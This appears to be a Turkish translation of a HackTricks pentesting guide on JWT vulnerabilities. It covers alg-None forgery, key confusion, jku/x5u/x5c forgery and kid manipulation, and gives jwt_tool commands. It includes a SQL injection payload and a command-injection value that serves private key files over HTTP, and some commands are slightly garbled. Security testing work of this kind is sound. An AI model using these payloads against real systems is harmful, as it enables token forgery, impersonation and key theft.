JWT Vulnerabilities (Json Web Tokens)

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).

Bu yazının bir kısmı şu harika yazıya dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology JWT'leri pentest etmek için harika bir aracın yazarı https://github.com/ticarpi/jwt_tool

Hızlı Kazanımlar

jwt_tool uygulamasını Tüm Testler! modunda çalıştırın ve yeşil çizgileri bekleyin

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış şekilde kontrol ettiği bir durumu bulabilir:

Daha sonra, proxy'nizde isteği arayabilir veya kullanılan JWT'yi jwt_tool'u kullanarak o istek için dump edebilirsiniz:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Veriyi değiştirmeden veriyi bozma

Sadece veriyi bozarak imzayı değiştirmeyin ve sunucunun imzayı kontrol edip etmediğini kontrol edin. Örneğin, kullanıcı adınızı "admin" olarak değiştirmeyi deneyin.

Token kontrol ediliyor mu?

Bir JWT'nin imzasının doğrulandığını kontrol etmek için:

  • Bir hata mesajı devam eden doğrulamayı önerir; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir.

  • Dönen sayfada bir değişiklik doğrulamayı gösterir.

  • Herhangi bir değişiklik olmaması doğrulamanın olmadığını gösterir; bu durumda veri yükü iddialarını bozmak için denemeler yapılmalıdır.

Köken

Token'ın sunucu tarafından mı yoksa istemci tarafından mı oluşturulduğunu belirlemek önemlidir, bunu proxy'nin istek geçmişini inceleyerek yapabilirsiniz.

  • İlk kez istemci tarafından görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir, daha fazla inceleme gerektirir.

  • Sunucu tarafından kaynaklanan token'lar güvenli bir süreci işaret eder.

Süre

Token'ın 24 saatten fazla sürüp sürmediğini kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun onu doğru şekilde işleyip işlemediğini kontrol edin.

HMAC gizli anahtarını kaba kuvvetle çözme

Bu sayfaya bakın.

Algoritmayı None olarak değiştirme

Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın.

Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısını "JSON Web Token" olarak kullanın (istemi Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. Ayrıca "Alg" alanının değerini "None" olarak seçebilirsiniz).

Algoritmayı RS256(asimetrik) den HS256(simetrik) olarak değiştirme (CVE-2016-5431/CVE-2016-10555)

HS256 algoritması, her iletiyi imzalamak ve doğrulamak için gizli anahtar kullanır. RS256 algoritması, iletiyi imzalamak için özel anahtar kullanır ve doğrulama için genel anahtarı kullanır.

Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından imzayı doğrulamak için HS256 algoritmasını kullanır.

Daha sonra genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Bu işlemi gerçekleştirmek için web sunucusunun sertifikasını alabilirsiniz.

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Başlık içinde yeni genel anahtar

Bir saldırgan, belirtecin başlığında yeni bir anahtar gömüyor ve sunucu bu yeni anahtarı imzayı doğrulamak için kullanıyor (CVE-2018-0114).

Bu, "JSON Web Tokens" Burp eklentisi ile yapılabilir. (İsteği Repeater'a gönderin, JSON Web Token sekmesinde "CVE-2018-0114"ü seçin ve isteği gönderin).

JWKS Sahteciliği

Talimatlar, JWT belgelerinin güvenliğini değerlendirmek için bir yöntemi detaylandırır, özellikle "jku" başlığı iddiasını kullananları. Bu iddia, belirtecin doğrulanması için gerekli genel anahtarı içeren bir JWKS (JSON Web Key Set) dosyasına bağlanmalıdır.

  • "jku" Başlığıyla Belge Değerlendirme:

  • "jku" iddiasının URL'sini doğru JWKS dosyasına yönlendirdiğinden emin olun.

  • Belgenin "jku" değerini değiştirerek, trafiği gözlemlemeye izin veren kontrol edilen bir web hizmetine yönlendirin.

  • HTTP Etkileşimi İçin İzleme:

  • Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağlanan bağlantıdan anahtarları almaya çalıştığını gösterir.

  • Bu işlem için jwt_tool kullanırken, testi kolaylaştırmak için jwtconf.ini dosyasını kişisel JWKS konumunuzla güncellemek önemlidir.

  • jwt_tool için Komut:

  • Aşağıdaki komutu kullanarak jwt_tool ile senaryoyu simüle edin:

python3 jwt_tool.py JWT_BURAYA -X s

Kid Sorunları Genel Bakış

kid olarak bilinen isteğe bağlı bir başlık iddiası, belirli bir anahtarı tanımlamak için kullanılır ve özellikle belirtecin imzasını doğrulamak için birden fazla anahtarın bulunduğu ortamlarda hayati öneme sahiptir. Bu iddia, belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur.

"kid" ile Anahtarı Açığa Çıkarma

Başlıkta kid iddiası bulunduğunda, ilgili dosyayı veya varyasyonlarını web dizininde aramak tavsiye edilir. Örneğin, "kid":"key/12345" belirtilmişse, /key/12345 ve /key/12345.pem dosyaları web kökünde aranmalıdır.

"kid" ile Yol Geçişi

kid iddiası, dosya sistemi üzerinde gezinmek için de kullanılabilir ve bu, belirli dosyaları hedeflemek için kid değerini değiştirerek bağlantı testi yapılmasına veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmeye olanak tanır. JWT'yi değiştirerek kid değerini değiştirmek ve orijinal imzayı korumak, jwt_tool'da -T bayrağını kullanarak aşağıda gösterildiği gibi başarılabilir:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Hedeflenen dosyalara öngörülebilir içerikle saldırarak geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerindeki /proc/sys/kernel/randomize_va_space dosyası, içerdiği 2 değeriyle kid parametresinde 2 olarak simetrik şifre olarak JWT oluşturmak için kullanılabilir.

"kid" Üzerinden SQL Enjeksiyonu

Eğer kid iddiasının içeriği bir veritabanından bir şifre almak için kullanılıyorsa, SQL enjeksiyonu kid yükünü değiştirerek kolaylaştırılabilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Bu değişiklik JWT imzalama için bilinen gizli anahtar ATTACKER'ın kullanılmasını zorlar.

"kid" Üzerinden İşletim Sistemi Enjeksiyonu

kid parametresinin bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiği bir senaryo, Uzaktan Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. kid parametresine komutlar enjekte edilerek özel anahtarlar açığa çıkarılabilir. RCE ve anahtar açığını başarmak için bir örnek yük şu şekildedir:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u ve jku

jku

jku, JWK Set URL'nin kısaltmasıdır. Eğer token bir "jku" Header iddiası kullanıyorsa, sağlanan URL'yi kontrol edin. Bu, belirtecin doğrulanması için Genel Anahtarı tutan JWKS dosyasını içeren bir URL'ye işaret etmelidir. Belirteci, trafiği izleyebileceğiniz bir web hizmetine yönlendirmek için değiştirin.

İlk olarak yeni bir sertifika oluşturmanız gerekmektedir, yeni özel ve genel anahtarlarla.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Sonra örneğin jwt.io kullanarak oluşturulan genel ve özel anahtarlar ile jku parametresini oluşturarak yeni JWT oluşturabilirsiniz. Geçerli bir jku sertifikası oluşturmak için orijinalini indirip gerekli parametreleri değiştirebilirsiniz.

"e" ve "n" parametrelerini bir genel sertifikadan alabilirsiniz:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. PEM formunda kodlanmış X.509 (bir sertifika format standartı) genel sertifikalar kümesine işaret eden bir URI. Kümedeki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar birbirini imzalar, böylece sertifika zinciri tamamlanmış olur. X.509, RFC 5280'de tanımlanmıştır. Sertifikaları transfer etmek için taşıma güvenliği gereklidir.

Bu başlığı kontrolünüz altındaki bir URL'ye değiştirmeyi deneyin ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT'yi değiştirebilirsiniz.

Kendi kontrolünüzdeki bir sertifikayı kullanarak yeni bir belge oluşturmak için genel ve özel anahtarları çıkarmanız gerekmektedir:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Ardından örneğin jwt.io kullanabilirsiniz, yeni JWT'yi oluşturmak için oluşturulan genel ve özel anahtarları ve .crt uzantılı sertifikaya x5u parametresini işaretleyerek.

Ayrıca bu zafiyetleri SSRF'ler için kötüye kullanabilirsiniz.

x5c

Bu parametre base64 formatında sertifikayı içerebilir:

Saldırgan, kendi kendine imzalı bir sertifika oluşturursa ve ilgili özel anahtarı kullanarak sahte bir belirteç oluşturursa ve "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirirse ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, aslında sahte belirteç sunucu tarafından kabul edilecektir.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Gömülü Genel Anahtar (CVE-2018-0114)

Eğer JWT aşağıdaki senaryoda olduğu gibi gömülü bir genel anahtara sahipse:

Aşağıdaki nodejs betiği kullanılarak bu verilerden bir genel anahtar oluşturmak mümkündür:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Mümkün olan bir şey, yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı belirtecin içine yerleştirmek ve yeni bir imza oluşturmak için kullanmaktır:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Aşağıdaki Node.js betiği kullanarak "n" ve "e" değerlerini elde edebilirsiniz:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

ES256: Aynı nonce ile özel anahtarı ifşa etme

Bazı uygulamalar ES256 kullanıyorsa ve iki JWT oluşturmak için aynı nonce'u kullanıyorsa, özel anahtar geri getirilebilir.

İşte bir örnek: ECDSA: Aynı nonce kullanıldığında özel anahtarı ifşa etme (SECP256k1 ile)

JTI (JWT Kimliği)

JTI (JWT Kimliği) iddiası, bir JWT Jetonu için benzersiz bir tanımlayıcı sağlar. Jetonun tekrarlanmasını önlemek için kullanılabilir. Ancak, kimliğin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. İstek 0001 ve 10001 aynı kimliği kullanacak. Bu nedenle, backend her istekte kimliği artırıyorsa, bu durumu istek arasında 10000 istek göndererek bir isteği tekrar oynatmak için kötüye kullanabilirsiniz.

JWT Kayıtlı iddiaları

Diğer saldırılar

Çapraz-servis Röle Saldırıları

Bazı web uygulamalarının, jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Bir JWT hizmeti tarafından bir istemci için oluşturulan bir jetonun, aynı JWT hizmetinin başka bir istemcisi tarafından kabul edildiği kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir hizmetin istemcisine hesap oluşturulması olasılığı araştırılmalıdır. Ardından, elde edilen jetonun hedefe bir istekte tekrarlanıp tekrarlanmadığını görmek için bir deneme yapılmalıdır.

  • Jetonunuzun kabul edilmesi, herhangi bir kullanıcının hesabının sahteciliğine izin verebilecek kritik bir sorunu işaret edebilir. Ancak, üçüncü taraf bir uygulamada hesap oluşturmak için daha geniş test izni gerekebileceğini unutmamak önemlidir, çünkü bu durum yasal bir belirsizliğe neden olabilir.

Jetonların Süresi Kontrol Edilmesi

Jetonun süresi, "exp" Yük iddiası kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından, dikkatli bir işlem gereklidir. Birçok durumda, başka bir kullanıcının JWT'sini yakalayıp tekrar oynatmak, o kullanıcının taklit edilmesine olanak tanıyabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için jetona bir süre belirlemek için "exp" iddiasını kullanmayı önerir. Ayrıca, uygulamanın bu değerin işlenmesini ve süresi dolmuş jetonların reddedilmesini sağlamak için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" iddiasını içeriyorsa ve test süre sınırlarına izin veriyorsa, jetonun saklanması ve süresi dolduktan sonra tekrar oynatılması önerilir. Jetonun içeriği, jet_tool'un -R bayrağını kullanarak okunabilir, zaman damgası ayrıştırma ve süre kontrolü (zaman damgası UTC'de) gibi.

  • Uygulamanın hala jetonu doğrulaması durumunda bir güvenlik riski olabilir, çünkü bu, jetonun hiçbir zaman süresinin dolmayacağını ima edebilir.

Araçlar

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde yazılı ve konuşulan Lehçe gereklidir).

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Last updated